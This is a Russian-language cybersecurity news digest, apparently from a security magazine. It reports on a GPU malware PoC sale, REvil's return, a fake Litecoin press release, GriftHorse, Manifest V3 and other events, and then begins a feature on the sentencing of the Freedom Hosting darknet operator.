рамк­ ах акад­ емич­ ес­ких исслед­ ова­ний, либо оста‐­ вались непол­ными и необр­ аботанн­ ыми. Про­давец эксп­ лои­ та пишет, что его инст­ ру­мент успешно скры­вает вре­донос‐­ ный код от защит­ных решений, ска­нирую­ щих сис­темную опе­ративн­ ую память. Пока он работа­ет тольк­ о в  Windows-сист­ емах, которые под­держив­ ают OpenCL 2.0 и выше. Автор экс­пло­ита уве­ряет, что его решение про­тес­тирова‐­ но и  точ­но работае­ т на  видео­ карт­ ах Intel (UHD 620/630), Radeon (RX 5700) и GeForce (GTX 740M, GTX 1650). Объя­ влен­ ие появи­лось на хак‑форуме 8 августа текуще­го года, а при­мер‐­ но через две недели, 25  августа, про­давец сооб­щил, что прод­ ал свой PoC, но не раск­ рыл никаких под­робнос­тей о соверш­ енной сдел­ке. Ис­сле­дова­тели VX-Underground заявл­ яют, что прод­ анн­ ый вред­ онос­ный код дей­стви­тельн­ о работа­ет и  поз­воля­ет граф­ ическ­ ому проц­ ес­сору выпол‐­ нять бинарн­ ики. Стои­ т ска­зать, что малв­ арь для GPU уже созд­ авалась и ранее, дос­таточ­но вспом­нить рутк­ ит JellyFish и кейл­ ог­гер Demon. Эти про­екты были опубл­ икова‐­ ны в мае 2015 года и по‑преж­нему находят­ся в открыт­ ом дос­тупе. Фунд­ амент для  подобн­ ых атак и  вов­се был заложен в  2013  году исслед­ оват­ еля­ми из  Инстит­ ута компь­ютер­ных наук, FORTH и  Колум­бийс­ ко­го унив­ ерс­ итета в Нью‑Йорк­ е. Они демонс­три­рова­ли, что работу кей­логг­ ера мож­но воз­ложить на  гра­фичес­кие проц­ ес­соры и  те будут сох­ранять перехв­ аченн­ ые нажатия кла­виш в свое­ й памяти. Прод­ авец нового инст­ ру­мен­та утвер­жда­ет, что его разр­ абот­ка никак не свя­зана с JellyFish, а метод отлич­ ает­ся от пред­ставл­ енно­го в 2015 году, так как  не полага­ется на  мап­пинг кода обратно в  поль­зовательс­ кое прос­транс‐­ тво. ВОЗВРАЩЕНИЕ REVIL В сен­тябре вымога­тель REvil (Sodinokibi) вер­нулся в онлайн пос­ле неск­ ольк­ их месяцев прос­тоя: летом хак‑групп­ а ушла в офлайн без объя­ снен­ ия прич­ ин, отклю­чив всю свою инфраструк­туру. Это  про­изошл­ о посл­ е мас­штабн­ ой атак­ и REvil на  кли­ентов извест­ ног­ о пос­тавщи­ка MSP- решений Kaseya, а так­же комп­ ром­ етац­ ии ком­пании JBS, которая явля­ется крупн­ ей­шим в мире пос­тавщик­ ом говядин­ ы и  пти­цы. Тогд­ а мно­гие эксперт­ ы полагал­ и, что групп­ иров­ка переш­ла грань и ею заинт­ ересо­вались влас­ти. В прош­лом предс­ тав­ итель груп­пиров­ки, извес­тный под  никами Unknown или  UNKN, пуб‐­ ликовал на  хакерс­ ких форумах сооб­щения с  рек­ламой или  пос­ледние новос­ти об  опер­ аци­ях REvil. Теперь новый предс­ тав­ итель вымогат­ елей, зарегис­три­ровав­шийс­ я на  этих сайт­ ах как  REvil, верн­ улся к  публ­ икация­ м и  заявил, что, по  данн­ ым хак‑групп­ ы, Unknown был арес‐­ тован, а серв­ еры груп­пы могл­ и быть скомп­ ром­ ети­рован­ ы. → «Как UNKWN (он же 8800) про­пал, мы (кодеры) бэкап­нулись и отключ­ или все сер­вера. Думали, что его при­няли. Проб­ овал­ и искать, но  безусп­ ешно. Подож‐­ дали  — он не  объя­ вилс­ я и  мы под­няли все с  бэкапов.Пос­ле проп­ ажи UNKWN хос­тер писал что клирн­ ет‑серв­ ера были скомп­ ром­ ети­рован­ ы и  он удал­ ил их сра­зу. Основной сер­вер с клю­чами мы отклю­чили штатн­ о незадолг­ о посл­ е» — рас­сказ­ ал новый пред­став­ итель груп­пировк­ и (орфогра­фия и  пунк­ туа­ ция ориг­ инал­ а сох‐­ ранены) ФЕЙК ПОДНЯЛ СТОИМОСТЬ LITECOIN В середи­не сент­ ября в  сети расп­ ростран­ ил­ся фаль­шивый пресс‑релиз Walmart, в  котором говорил­ ось, что тор­говая сеть якоб­ ы начн­ ет прин­ имать для  опла­ты крипт­ овалют­ у Litecoin, что быс­тро под­няло стои­ мость пос­ледней почт­ и на  35%. Документ содер­жал вымыш­ленные цитаты гла­вы Walmart Дуга Макм­ иллон­ а и  соз­дателя Litecoin Чарл­ и Ли, которые якоб­ ы зак­лючили сог‐­ лашение о парт­ нерс­тве. Когд­ а пресс‑релиз был опубл­ икован на GlobeNewswire, дру­гие СМИ и сай‐­ ты, в  том числ­ е Yahoo, Bloomberg и  Reuters, тоже сообщ­ или на  свои­ х стра‐­ ницах об  этой новос­ти, что привл­ екло к  про­исхо­дяще­му немало вним­ ания. Пос­ле того как  рет­вит новос­ти появил­ся даже в  офиц­ иальн­ ом Twitter крип‐­ товалют­ ы, цена Litecoin подс­ ко­чила почт­ и на  35%, подн­ явшись с 175 до 237 дол­ларов США. →Продолжение статьи

← Начало статьи Од­нако вско­ре польз­ овател­ и замети­ли, что в  пресс‑релизе использ­ овалс­ я email-адрес на  домене wal-mart.com, зарегист­ рир­ ован­ном в  прош­лом месяце на Namecheap и никак не свя­занн­ ом с ком­пание­ й Walmart. Тогд­ а ста‐­ ло очев­ ид­но, что весь мир поверил фаль­шив­ке. Офиц­ иальн­ ые пред­ста­вите­ли Walmart тут же пос­пешили сооб­щить, что пресс‑релиз был под­делкой, и цена Litecoin быст­ ро верн­ улась к пре­дыду­щей отметке (сейч­ ас крипт­ овалю­та тор‐­ гуетс­ я на уровн­ е 150 долл­ аров США). В беседе с журн­ алис­тами Bloomberg TV гла­ва неком­мерческ­ ой орга­низа‐­ ции Litecoin Foundation Чарл­ и Ли подт­ вер­дил, что в Twitter про­екта раз­мести­ли фальш­ ивую новость о  сотр­ удни­чес­тве с  Walmart, призн­ ав, что в  Litecoin Foundation «реальн­ о обла­жались». Ли подч­ ерк­ нул, что разр­ аботч­ ики крип‐­ товалю­ты не имел­ и никаког­ о отно­шения к фикт­ ивном­ у пресс‑релизу, и пообе‐­ щал выяс­нить, кто запуст­ ил такую «утку». 10 000 000 ЗАРАЖЕНИЙ GRIFTHORSE Эк­сперт­ ы Zimperium рас­сказ­ али о  вред­ оно­се GriftHorse, нацелен­ном на  Android. Эта малв­ арь активна с  ноябр­ я  2020  года и  подп­ исывае­ т свои­ х жертв на  платн­ ые SMS-сер­висы. Она уже зарази­ла более 10  000  000 устройс­ тв в  70 стра­нах мира, и  счит­ аетс­ я, что опер­ атор­ ы GriftHorse «зарабат­ ыва­ют» от 1 500 000 до 4 000 000 дол­ларов в месяц. GriftHorse расп­ ростран­ яетс­ я через офиц­ иальн­ ый магазин прил­ оже­ний Google Play и сто­ронн­ ие каталог­ и при­ложе­ний, как  прав­ ило, маск­ ируя­ сь под  дру­гие безобидн­ ые про­дук­ты. Сум­марно исслед­ оват­ ели обнар­ ужи­ли более 200 прил­ ожен­ ий, которые GriftHorse исполь­зовала для мас‐­ киров­ки. HTTPS EVERYWHERE ПОРА НА ПОКОЙ Разр­ аботч­ ики Electronic Frontier Foundation (Фонд элек­тронн­ ых рубежей) сообщ­ или, что намере­ны прек­ратить раз­работк­ у знам­ енит­ ого бра­узерн­ ого рас­ширения HTTPS Everywhere, так как HTTPS исполь­зует­ся практ­ ическ­ и пов‐­ семес­тно, а во мно­гих популяр­ных бра­узер­ ах появил­ ись режимы HTTPS-only. Суть HTTPS Everywhere, выпущенн­ ого в 2010 году, прос­та: оно фор­сиру­ет защищенн­ ое соедин­ ение через HTTPS на  всех сайт­ ах, где это  воз­можно. Даже если поль­зователь пытае­ тся зайт­ и на незащи­щенн­ ую верс­ ию ресурс­ а, рас­ширение все рав­но перенапр­ авляе­ т его на  HTTPS-вер­сию, если таковая дост­ упна. С  годами расш­ ирение прио­ бре­ло культ­ овый ста­тус сред­ и защит‐­ ников кон­фиден­циальн­ ост­ и и было интегри­рова­но в Tor Browser, а затем и во мно­гие друг­ ие брау­ зер­ ы, заботя­щиеся о при­ват­ности. Техн­ ическ­ ий директ­ ор EFF Алекс­ ис Хенк­ ок (Alexis Hancock) рас­ска­зыва­ет, что с  кон­ца текуще­го года и  в  2022  году расш­ ирение будет находитьс­ я в  режиме «обслу­живан­ ия». Это  означ­ ает, что оно будет получать лишь незначительные исправ­ления ошиб­ ок, но  обойд­ ет­ся без  новых фун­кций и  какого‑либо разв­ ития. При  этом оконч­ ательн­ ая дата «смерт­ и» HTTPS Everywhere, посл­ е которой обновле­ния перест­ анут выходить вовс­ е, пока не опред­ еле­на. Так­ ое решение раз­работч­ ики прин­ яли в силу того, что в нас­тоящее врем­ я око­ло 86,6% всех сайт­ ов в интернет­ е уже под­держи­вают HTTPS-соеди­нения. Прои­ звод­ ител­ и бра­узе­ров, включ­ ая Chrome и  Mozilla, ранее сообщ­ али, что на HTTPS-тра­фик при­ходитс­ я от 90 до 95% всех ежед­невных под­ключ­ ений. Бо­лее того, в 2020 году прои­ звод­ ите­ли поч­ти всех популярн­ ых бра­узе­ров добавил­ и в  свои прод­ ук­ты режимы HTTPS-only, работая в  которых, бра­узер пытае­ тся самос­тоятельн­ о перей­ти с  HTTP на  HTTPS или  отоб­ража­ет сооб‐­ щение об  ошиб­ке, если соедин­ ение через HTTPS невозм­ ожно. По  сути, теперь режимы HTTPS-only, дос­тупные в  Mozilla Firefox, Google Chrome, Microsoft Edge и  Apple Safari, делаю­ т то же самое, чем HTTPS Everywhere занималс­ я более десяти лет. 1 000 000 000 ЗАГРУЗОК У TELEGRAM Анал­ итич­ ес­кая комп­ ания Sensor Tower сооб­щила, что в прош­лом месяце месс­ ен­джер Telegram стал 15 в  мире прил­ оже­нием, которое дост­ игло отметки в  1  000  000  000 заг­рузок. Такж­ е в этот спи­сок вход­ ят WhatsApp, Messenger, Facebook, Instagram, Snapchat, Spotify, Netflix и дру‐­ гие. Со­обща­ется, что Telegram набирае­ т поль­зовате­лей все быст­ рее: за пер­вое полугод­ ие прил­ оже‐­ ние устан­ овил­ и 214 700 000 раз, а это на 61% боль­ше, чем за ана­логич­ный перио­ д прош­лого года. Боль­шинс­тво заг­рузок (22%) прих­ одит­ся на  Индию, вто­рое мест­ о занима­ет Рос­сия (10%), а замыкае­ т трой­ку Индо­незия (8%). ВНЕДРЕНИЕ MANIFEST V3 Комп­ ания Google рас­сказ­ ала, каким имен­но видит поэтапн­ ый отказ от исполь­зования Manifest V2, который опред­ еляе­ т возм­ ожнос­ти и огра­ниче‐­ ния для  рас­ширений в  Chrome. Так­же разр­ аботч­ ики поделил­ ись план­ ами по внедр­ ению и доведен­ ию до пол­ной функ­ цио­ наль­нос­ти скан­даль­но извес‐­ тно­го Manifest V3, который стал дос­тупен еще в бета‑верс­ ии Chrome 88. Впер­вые о  Manifest V3 за­говор­ или еще  в  2018  году. Тог­да разр­ абот­чики Google писали, что намерен­ ы огран­ ичить работу webRequest API, вмес­то которог­ о блок­ иров­щики кон­тента и  дру­гие расш­ ирения ста­нут использ­ овать declarativeNetRequest. Разумее­ тся, сообщ­ алось, что эти улучш­ ения призв­ аны повысить безопас­ность и  прои­ звод­ итель­ность, а  так­же дать поль­зовател­ ям больш­ ий конт­ роль над тем, что рас­ширения дела­ют и с какими сайт­ ами вза‐­ имо­дейс­ тву­ют. Пробл­ ема зак­лючалась в  том, что раз­работч­ ики рас­ширений быст­ ро поняли: переход на  друг­ ой API, сильн­ о отли­чающий­ся от  webRequest и  во мног­ ом ему усту­пающий, в  сущн­ ости ста­нет «смертью» их прод­ ук­тов. В  час‐­ тнос­ти это  касалось блок­ ировщ­ иков рекл­ амы, анти­виру­сов, решений для родитель­ско­го конт­ рол­ я и раз­личных прод­ ук­тов, повыша­ющих конф­ иден‐­ циальн­ ость. В итог­ е замысел Google подв­ ер­гся жес­ткой кри­тике. Одним из  перв­ ых свою точ­ку зрен­ ия выск­ азал раз­работ­чик популяр­ных бло­кировщ­ иков uBlock Origin и  uMatrix Рей­монд Хил (Raymond Hill). К  при­меру, он объ­яснял, что declarativeNetRequest пред­лага­ет разр­ абот­чикам единст­ вен­ную импле­мен‐­ тацию фильт­ ро­воч­ного движк­ а, к  тому же огран­ иченн­ ую все­го  30  000  филь‐­ тров, что не выдер­живало срав­нения даже с EasyList. Хилл пре­дупр­ еждал, что отказ от  webRequest стан­ ет «смертью» для  его прод­ укт­ ов, а  такж­ е выражал опас­ ение, что переход на  API declarativeNetRequest может пагубн­ о ска­зать­ся на  работе друг­ их решений, и эту точ­ку зре­ния подд­ ержал­ и множ­ ест­ во дру­гих раз­работ­чиков. Так под дав‐­ ление­ м общест­ венн­ ости разр­ аботч­ ики Google были вынужд­ ены отка­затьс­ я от  некото­рых обновле­ний из  чис­ла Manifest V3, а  затем пе­ресм­ отрел­ и свои план­ ы еще осно­ватель­нее, отме­нив еще ряд изме­нений. С тех пор прош­ло немало вре­мени, и  изме­нения Manifest V3  уже начали внедр­ ять в  Chrome. Недоволь­ство пост­ епенн­ о утихл­ о, хотя некотор­ ые раз‐­ работч­ ики бло­кировщ­ иков, похоже, прост­ о сми­рились тем, что их прод­ укт­ ы не смо­гут надежн­ о бло­киров­ ать рек­ламу, как толь­ко изме­нения дост­ игнут ста‐­ бильн­ ых вер­сий Chrome. Как теперь сооб­щил Дэвид Ли (David Li), менед­жер по про­дукт­ ам Chrome Extensions и Chrome Web Store: « «Разр­ абатыв­ аемый годами Manifest V3 стал более безопас­ным и про-­ извод­ итель­ным, чем его пред­шест­ венн­ ик, а так­же лучш­ е обесп­ ечива-­ ет кон­фиден­циаль­ность. Это  эвол­ юция плат­формы рас­ширений, которая учит­ ыва­ет меняю­ щий­ся веб‑лан­дшафт и будущее расш­ ирений »для брау­ зер­ ов». Вскор­ е Google пост­ епен­но откаж­ етс­ я от  Manifest V2, и  в этом про­цес­се уже обоз­начены две клю­чевые даты: • 17  янва­ря  2022  года: новые расш­ ирения с  подд­ ер­жкой Manifest V2  боль­ше не  будут при­нимать­ся в  Chrome Web Store. Разр­ абот­чики по‑преж­нему смо­гут обновлять сущес­твую­ щие расш­ ирения Manifest V2. • Янв­ арь  2023  года: бра­узер Chrome перес­танет использ­ овать рас‐­ ширения Manifest V2. Разр­ абот­чики боль­ше не  смо­гут обновлять сущес‐­ тву­ющие рас­ширения Manifest V2. До янва­ря  2023  года раз­работ­чики Google обе­щают прод­ ол­жать доработк­ у нового манифест­ а, чтоб­ ы учесть все пожелан­ ия и кри­тику раз­работ­чиков рас‐­ ширений, а  такж­ е внедр­ ить в  него все жела­емые функ­ ции. К  прим­ еру, в  Google заявл­ яют, что уже добавил­ и допол­нительн­ ые механиз­мы в  новый Scripting API и  расш­ ирили возм­ ожнос­ти Declarative Net Request API для  под‐­ дер­жки неск­ оль­ких стат­ ичес­ких наборов пра­вил, пра­вил сеан­са и фильт­ рац­ ии на осно­ве tab ID. « «В ближ­ айш­ ие месяцы сред­ и друг­их новых воз­можнос­тей мы запус­тим подд­ ер­жку динамич­ еск­ и наст­ раи­ ваемых скрип­тов конт­ ента и  воз-­ можность хран­ ения in-memory. Эти измен­ ения раз­работа­ны с  учет­ ом получен­ных от сообщ­ ес­тва отзыв­ ов, и мы прод­ олж­ им соз­давать более мощн­ ые API рас­ширений по  мере того, как  раз­работч­ ики будут делитьс­ я с нами допол­нитель­ной информац­ ией о проб­лемах мигр­ ации »и свои­ х бизн­ ес‑пот­ребнос­тях», — уве­ряет Ли. ЧУЖОЙ НОМЕР НА 7 ДНЕЙ Исс­ ле­доват­ ели BI.ZONE пре­дупр­ едили, что фак­тическ­ и любой номер личн­ ого телефо­на может использ­ овать­ся зло­умышл­ енник­ ами для обман­ а близк­ их жер­тве людей. В сред­нем телефон­ные номера росс­ иян исполь­зуютс­ я злоу­ мыш­ленник­ ами 1-2 дня, но порой могут экс­плуа­ ти­ровать­ся и до 7 дней. Ана­литик­ и пишут, что такие телефонн­ ые атак­ и про­водят­ся не  толь­ко из  Рос­сии, но  и из‑за рубежа. Для  их реализ­ ации зло­умыш­ленник­ и обычн­ о прим­ еняю­ т спе­циализ­ иров­ ан­ное ПО, которое не так уж сложн­ о дос­тать. Сто­имость уста­нов­ки такого софт­ а редк­ о пре­вышае­ т 10 дол‐­ ларов. ИТАЛЬЯНСКАЯ МАФИЯ И BEC-СКАМ Ев­ропол, Евро­юст и  евро­пей­ские пра­воохр­ аните­ли сообщ­ или о  лик­видации киберп­ рест­ упной сети, связ­ ан­ной с  италь­янской мафи­ей. Полицейс­ кая опе‐­ рация прив­ ела к арес­там 106 человек (на остро­ве Тенери­фе в Испа­нии, а так‐­ же в Турине и Изер­нии в Итал­ ии), которых обвин­ яют в раз­личных киберп­ рес‐­ туплен­ иях и отмы­вании денег. По данн­ ым полиции, эта груп­па в  основном спе­циализ­ иро­валась на киберп­ рест­ уплен­ иях: подм­ ене SIM-карт, а так­же фишин­ге и вишин­ге, стре‐­ мясь про­никн­ уть в сети комп­ аний, похитить средст­ ва или обма­ном вынудить сот­рудник­ ов напр­ авить плат­ ежи на счет­ а, которые конт­ ро­лиро­вали сами зло‐­ умышл­ енни­ки (класс­ ическ­ ая схе­ма, называе­ мая BEC-скам­ ом, от англий­ско­го Business Email Compromise). Благ­ одар­ я такой такт­ ике груп­па похити­ла и отмы­ла более 10 000 000 евро, исполь­зуя сеть денежн­ ых мулов и  под­ставн­ ых комп­ аний. Боль­шинс­тво пос‐­ тра­давш­ их от рук мошен­ников находил­ ись в Итал­ ии, но такж­ е груп­па атак­ ова‐­ ла комп­ ании из Ирландии, Испан­ ии, Гер­мании, Лит­вы и Великоб­ритании. Ис­пан­ская нацио­ нальн­ ая полиция (Policía Nacional) и  италья­ нская наци‐­ ональ­ная полиция (Polizia di Stato) рас­ска­зали, что начали отслеж­ ивать эту групп­ ировк­ у в июне 2020 года, ког­да было замече­но, что опас­ные лица, свя‐­ занн­ ые с  италь­янски­ми мафи­озны­ми орга­низа­циями, обос­новались на Канарс­ ких остров­ ах. Сообщ­ аетс­ я, что чле­ны этой хак‑груп­пы были свя­заны с  четырьм­ я италь­янским­ и мафи­озным­ и струк­турами: Camorra Napolitana, Nuvoletta, Casamonica и Sacra Corona Unita. Исп­ ан­ская полиция заявл­ яет, что весь пос­ледний год набл­ юдала за подоз‐­ ревае­ мым­ и, изуч­ ая внутр­ еннюю структ­ уру груп­пы. Выясн­ илось, что груп‐­ пировк­ а име­ла типичн­ ую иерарх­ ию, подобн­ ую пирамид­ е, с лидера­ми навер­ху и  денеж­ными мулами вниз­ у. Руковод­ ител­ ями выст­ упали член­ ы италья­ нской неапо­литанс­ кой мафии, которые част­ о при­езжа­ли на Канар­ские остро­ва, что‐­ бы наб­людать за опе­рация­ ми. «Для мафии этот спос­ об финанс­ ирован­ ия был нас­толь­ко важен, что « они отпра­вили неск­ оль­ких находя­щих­ся в  бегах член­ ов Italian Justice конт­ рол­ иро­вать на  мес­те финан­совую активность, получен­ ия »и перевод­ ы денег», — рас­сказ­ ыва­ют полицейс­ кие. Такж­ е эта групп­ а была свя­зана с  прос­титуци­ей, про­дажей ору­жия, незакон‐­ ным обо­ротом нарк­ отиков, похищен­ иями людей, мошен­ничес­твом, краж­ ей личн­ ых данн­ ых, подд­ елкой документ­ ов, мошен­ничес­твом в  сфер­ е соци­аль‐­ ного обес­печения, граб­ ежам­ и, вымогат­ ельс­ твом и дву­мя убийс­ тва­ми. К прим­ еру, груп­пе треб­ овал­ ись сотн­ и банк­ овс­ ких сче­тов для  отмыв­ ания украд­ ен­ных средств, которые нужн­ о было откры­вать и  зак­рывать очень быс‐­ тро, что­бы пред­ от­вра­тить заморозк­ у средств. В  какой‑то момент, не  сумев получить дост­ уп к  новым банк­ ов­ским счет­ ам, групп­ а похити­ла жен­щину и угроз­ ами вынуди­ла ее открыть 50 банк­ ов­ских счет­ ов от име­ни орга­низа­ции, а затем заст­ авила опуст­ ошить собст­ вен­ный бан­ков­ский счет, дост­ авив к бан‐­ комату. Когд­ а нападавш­ ие были опозн­ аны и  задер­жаны, групп­ ировк­ а угро‐­ жала жерт­ ве и ее друзь­ям, чтоб­ ы те не дали показа­ния. В общей сложн­ ости влас­ти арест­ овали 106 человек, замороз­ или 118 бан‐­ ков­ских сче­тов, изъ­яли  224  кред­ ит­ных кар­ты, 402  кус­та марихуа­ ны с  сек‐­ ретной фер­мы, которой управля­ла групп­ а, а  так­же мно­гочис­ленное компь‐­ ютерн­ ое обор­ удов­ ание, телефо­ны и SIM-кар­ты. ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА В Twitter появил­ся Safety Mode, авто­мати­ческ­ и блок­ иру­ющий оскорб­ ле­ния По­ка Apple не будет искать в поль­зователь­ских фото призн­ аки сек­суальн­ ого насилия над деть‐­ ми Хак­ еры сли­ли в открыт­ ый дос­туп учет­ные дан­ные 500 000 аккау­ нтов Fortinet VPN Для опасн­ ой 0-day-уязв­ имос­ти в Windows MSHTML опубл­ икован экс­пло­ит Хакт­ ивист­ ы Anonymous сли­ли данн­ ые доменн­ ого регист­ ра­тора и  хост­ ера Epik за  посл­ едние десять лет Поя­ вил­ ась утил­ ита для дешифр­ овки дан­ных посл­ е атак REvil Прав­ итель­ствен­ные и военн­ ые сайт­ ы рас­простран­ яли порн­ о и рек­ламиро­вали виаг­ру Власт­ и США наложи­ли сан­кции на крип­товалютн­ ый обменник Suex Исс­ лед­ ова­тель обна­родо­вал детали трех неисп­ равл­ енных уязв­ имост­ ей в iOS Бывш­ ий опер­ атор Cardplanet депорт­ ирован в Росс­ ию из США

HEADER Мария «Mifrill» Нефёдова КРАХ [email protected] FREEDOM HOSTING ЗА ЧТО ОПЕРАТОР СЕРВИСА ПОЛУЧИЛ 27 ЛЕТ ТЮРЬМЫ Аме­риканс­ кий суд вынес приг­ овор 36-летн­ ему жителю Дуб‐­ лина Эрик­ у Эоину Марк­ есу (Eric Eoin Marques), который управлял серв­ исом Freedom Hosting с  июля  2008  года по июль 2013 года. В те годы комп­ ания пред­ ос­тавлял­ а услу‐­ ги дар­кнет‑хос­тинга более чем 200 сайт­ ам, на которых раз‐­ мещались материа­ лы, связ­ ан­ные с  экс­плу­ата­цией детей и сек­суаль­ным насилие­ м над малолет­ними. Вни­мание влас‐­ тей к  это­му серв­ ису прив­лекли хакт­ ивис­ты Anonymous, и  имен­но с  Freedom Hosting свя­зан один из  пер­вых случ­ аев мас­сового прим­ ене­ния мал­вари ФБР. КРУПНЕЙШИЙ ПОСТАВЩИК ДЕТСКОГО ПОРНО В сен­тябре  2021  года Эрик Эоин Марк­ ес, обла­давш­ ий двойн­ ым граж­данс‐­ твом США и Ирландии, был при­говор­ ен к 27 годам лишения сво­боды, а такж­ е пожиз­ненном­ у надз­ ору власт­ ей пос­ле того, как он отбуд­ ет свой срок и вый­дет на  сво­боду. Кро­ме того, Мар­кесу пожиз­ненно запр­ етили польз­ овать­ся интерне­том «за исклю­чени­ем случ­ аев, заранее одоб­ренных офиц­ ером по над­зору». Мар­кес в дуб­лин­ском суде в 2013 году. Фото Niall Carson/PA Images В офиц­ иаль­ном заяв­лении Минист­ ерст­ ва юстиц­ ии США сказ­ ано, что «Марк­ ес был одним из круп­нейш­ их рас­простран­ ите­лей дет­ской пор­нограф­ ии в мире». Похожие заявл­ ения зву­чали в 2013 году, когд­ а Мар­кес был арес­тован и пред‐­ стал перед  судом в  род­ном Дубл­ ине: тог­да спец­ иаль­ный агент ФБР Брук Донахью (Brooke Donahue) тоже опи­сывал Марк­ еса как  «крупн­ ей­шего пос‐­ редни­ка в области дет­ско­го порн­ о на пла­нете». Расс­ ле­дован­ ие деятельн­ ост­ и Freedom Hosting началось в 2011 году, ког­да серв­ ис попал на  стран­ ицы мно­гих мировых СМИ и  в поле зре­ния влас­тей. Дело в  том, что тогд­ а Anonymous разоб­лачили хос­тера и  назв­ али его основным источни­ком детс­ ког­ о пор­но в  дарк­ нет­ е, орга­низо­вав мощ­ные DDoS-ата­ки на ресурс. DDoS 2011 В  2011  году в  рамк­ ах Operation Darknet, нап­равленн­ ой про­тив педофи­лов в  сети Tor, в  открыт­ ом дос­тупе были опуб­ликова­ны данн­ ые  1589  акка­унтов сай­та Lolita City. Этот ресурс разм­ ещал­ся на  Freedom Hosting и  содерж­ ал более 100 Гб дет­ской порн­ ограф­ ии, сог­ласно заявл­ ени­ям Anonymous. Тог­да хак­тивис­ты обнар­ ужил­ и ссылк­ и на кон­тент, посв­ ящен­ный жес­токому обращ­ ению с деть­ми, в секц­ ии Hard Candy на дар­кнет‑сай­те Hidden Wiki. Они уда­лили ссылк­ и, одна­ко вско­ре те были воз­вра­щены на  мест­ о админ­ ист­ ра‐­ цией ресурс­ а. Тог­да Anonymous обра­тили вни­мание, что  95% этих фотог‐­ рафий связ­ аны с  Lolita City и  хост­ ингом Freedom Hosting, пос­ле чего выд‐­ винули хост­ еру серию ульт­ имату­мов, которые были про­игно­риро­ваны. В итог­ е Anonymous перешл­ и от угроз к делу и орган­ изо­вали серию DDoS- атак на Freedom Hosting в целом и на Lolita City в част­ нос­ти. Хак­тивис­ты с гор‐­ достью писали о том, что сво­ими ата­ками они «лик­видиру­ют более 40 сайт­ ов с дет­ской пор­ногра­фией». Упом­ янут­ ая выше польз­ ователь­ская БД Lolita City, судя по все­му, была извле­чена с помощью SQL-инъ­екции. Посл­ едст­ вия Operation Darknet были наст­ оль­ко масш­ таб­ны, что по  сети попол­зли слу­хи о ком­про­мета­ции Tor в целом. Пред­ста­вител­ и Tor Project были вынуж­дены пос­вятить случ­ ивш­ емуся боль­шую публ­ икацию в свое­ м бло­ге, где объ­ясня­ли, что сама сеть Tor не была ском­про­метир­ ова­на. « «Более  1,97  млн изобр­ ажений и  видео [демонст­ ри­рующих насилие над  детьм­ и] ранее не  были извест­ ны прав­ оох­ранительн­ ым орган­ ам. Мно­гие из  этих матери­алов вклю­чают садист­ское над­ругательс­ тво над  млад­ ен­цами и  маленьк­ ими детьм­ и, в  том чис­ле связ­ ыван­ ие, зоофи­лию и  издев­ ательс­ тва, вклю­чая мочеи­ спуска­ние, дефека­цию и рво­ту», — именн­ о так теперь офиц­ иальн­ ые пред­став­ ител­ и Минюс­та опис­ ываю­ т содерж­ имое ресурс­ ов, разм­ ещавш­ ихся на  Freedom »Hosting. Подр­ обност­ и того, как  имен­но ФБР высл­ едило Мар­кеса пос­ле  2011  года, неиз­вест­ ны по  сей день. Пос­ле атак Anonymous Freedom Hosting работал толь­ко по  приг­лашени­ям. Что­бы стать клие­ нтом серв­ иса, нужн­ о было получить инвайт от  уже сущест­ ву­ющег­ о польз­ овател­ я. Поз­же Марк­ ес даже пыталс­ я орга­низо­вать собст­ вен­ный пол­ностью ано­нимн­ ый банк (Onion Bank), который пред­лагал не  тольк­ о обычн­ ые финан­совые услу­ги, но  и условное депонир­ ова­ние, тор­говые сер­висы и отмы­вание денег. Бла­годар­ я это­му про‐­ екту Freedom Hosting успел вновь стать пуб­личным, пред­лагая ано­нимн­ ый onion-хост­ инг всем, кто мог за  него зап­латить. Одна­ко это  прод­ олж­ алось недолг­ о. Офиц­ иальн­ ые докумен­ты глас­ ят, что Марк­ ес был арес­тован два года спус‐­ тя, в июле 2013 года. По слу­хам, пойм­ ать его уда­лось благ­ ода­ря соци­альн­ ой инжен­ ерии. Все сайт­ ы, раз­мещен­ные на  Freedom Hosting, закр­ ылись спус­тя неделю посл­ е его арест­ а, 3 августа 2013 года. Марк­ ес шесть лет борол­ся прот­ ив экст­ рад­ иции в США. Агент­ ы ФБР рас‐­ ска­зыва­ли, что незадолг­ о до  задерж­ ания он даже план­ иров­ ал получить рос‐­ сийс­ кое гражд­ анс­тво и хотел скрытьс­ я от западн­ ых влас­тей в Росс­ ии. Одна­ко ирланд­ские прав­ оох­ранител­ и и ФБР успе­ли арес­товать его рань­ше и в итог­ е передал­ и США в мар­те 2019 года. Год спус­тя, в февр­ але 2020 года, Мар­кес призн­ ал себя виновн­ ым. FREEDOM HOSTING Нек­ ог­да на  Freedom Hosting разм­ ещались такие сайт­ ы с  детс­ кой пор­ногра‐­ фией, как Lolita City, Love Zone и PedoEmpire. Такж­ е серв­ ис хост­ ил у себя ано‐­ ним­ный почт­ овый сер­вис TorMail, уже упо­мяну­тый выше каталог даркнет-сайтов Hidden Wiki, кар­дингов­ ый форум HackBB и  мно­гие друг­ ие ресур­сы, предл­ агав­шие разл­ ичные незакон­ные услу­ги и кон­тент. В сущн­ ости, все эти сай­ты раз­мещались на  серв­ ерах, прин­ ад­лежавш­ их комп­ ании Мар­кеса, ныне несущест­ вую­ щей Host Ultra Limited. При этом нельз­ я сказ­ ать, что Марк­ ес рьяно скры­вал свой биз­нес или  его стесн­ ялся: gray hat хакер SHG.Nackt обна­ружил учетн­ ую запись Марк­ еса на  форуме webhostingtalk.com, где тот опубл­ иковал 785 сообщ­ ений, активно рекл­ амиро‐­ вал свой биз­нес и  порой спраш­ ивал совета о  раз­личных инст­ рум­ ен­тах для анон­ им­ности, вклю­чая, напр­ имер, VPN. Поль­зовател­ и, которые хотели разм­ естить сайт в  дар­кнет­ е, заходи­ли на Freedom Hosting через Tor, регис­три­ровал­ и учетн­ ую запись, внос­ или еди‐­ новр­ еменн­ ую оплат­ у в разм­ ере 5 долл­ аров и затем мог­ли разв­ орачи­вать сайт с  использ­ овани­ем PHP и  MySQL. В  какой‑то момент имен­но на  Freedom Hosting разм­ ещались око­ло половин­ ы всех сайт­ ов дар­кне­та (то есть в  зоне .onion). Когд­ а раз­мах, с которым работал Freedom Hosting, стал ясен и дело дошл­ о до  суда, это  удар­ ило даже по  репута­ции Tor Project. Ведь этот хост­ инг был наг­лядной иллюст­ ра­цией для любимой стра­шил­ки власт­ ей и пра­воохр­ аните‐­ лей со все­го мира, 